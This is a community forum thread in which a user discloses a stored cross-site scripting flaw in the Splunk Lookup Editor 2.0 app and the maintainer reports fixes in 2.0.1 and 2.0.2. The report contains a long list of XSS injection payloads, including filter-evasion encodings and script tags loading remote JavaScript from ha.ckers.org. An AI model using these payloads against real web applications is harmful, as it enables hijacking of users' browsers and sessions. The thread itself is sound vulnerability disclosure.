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Lookup Editor 2.0 app vulnerable to XSS

Nicolo_Figiani
Path Finder

Hi everyone,
looks like Lookup Editor Splunk upp is vulnerable to XSS. As an example, create and upload a csv file like the following one:

query
<SCRIPT>alert('XSS')
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert(&quot
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
SRC=&#10<IMG 6
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav   ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
<IMG SRC=" &#14;  javascript:alert('XSS');">
<IMG%0aSRC%0a=%0a"%0aj%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0at%0a:%0aa%0al%0ae%0ar%0at%0a(%0a'%0aX%0aS%0aS%0a'%0a)%0a"%0a>
<IMG SRC=java%00script:alert(\"XSS\")>
<SCR%00IPT>alert(\"XSS\")</SCR%00IPT>
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
<IMG SRC="javascript:alert('XSS')"
<SCRIPT>a=/XSS/
\";alert('XSS');//
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
<STYLE>@import'http://ha.ckers.org/xss.css'
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="mocha:[code]">
<IMG SRC="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="Link" Content="<javascript:alert('XSS')>; REL=stylesheet">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">
exp/*<XSS STYLE='no\xss:noxss("*//*");
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE HREF="javascript:alert('XSS');//">
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
getURL("javascript:alert('XSS')")
a="get";
<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:alert('XSS');">
<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>
<HTML><BODY>
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->
<? echo('<SCR)'
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Go to the Lookup Editor app via Splunk web UI and click on the just created lookup file to actually open it. As you will see the XSS vectors are actually executed.
This means that the actual content of the csv file is eventually evaluated and executed if HTML/Javascript patterns are contained in it.

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I guess this is a security flaw and this behavior of the app should be fixed as soon as possible.

Regards,

N.

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1 Solution

LukeMurphey
Champion

Looking into this now. Early indications are that it is a problem with a third-party library. I made a ticket to track the changes here: http://lukemurphey.net/issues/1125

Update:
This is fixed in version 2.0.2.

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LukeMurphey
Champion

Looking into this now. Early indications are that it is a problem with a third-party library. I made a ticket to track the changes here: http://lukemurphey.net/issues/1125

Update:
This is fixed in version 2.0.2.

Nicolo_Figiani
Path Finder

Hello there,
thanks for the quick workaround. Version 2.0.1 seems to fix the reported issue. However, a XSS vulnerability is still exploitable through the "import" button.
To re-create the issue, you just need to enter the Lookup Editor app via Splunk Web UI, click the button "create a new lookup file" and then import a csv containing some XSS pattern. As you will see HTML/Javascript code is actually executed, leading to a XSS vulnerability.
I don't know if it's due to the same issue regarding the third-party library but this need to be fixed as soon as possible as well since a security flaws still exists.

Regards,
N.

0 Karma

LukeMurphey
Champion

This is fixed in 2.0.2.

0 Karma
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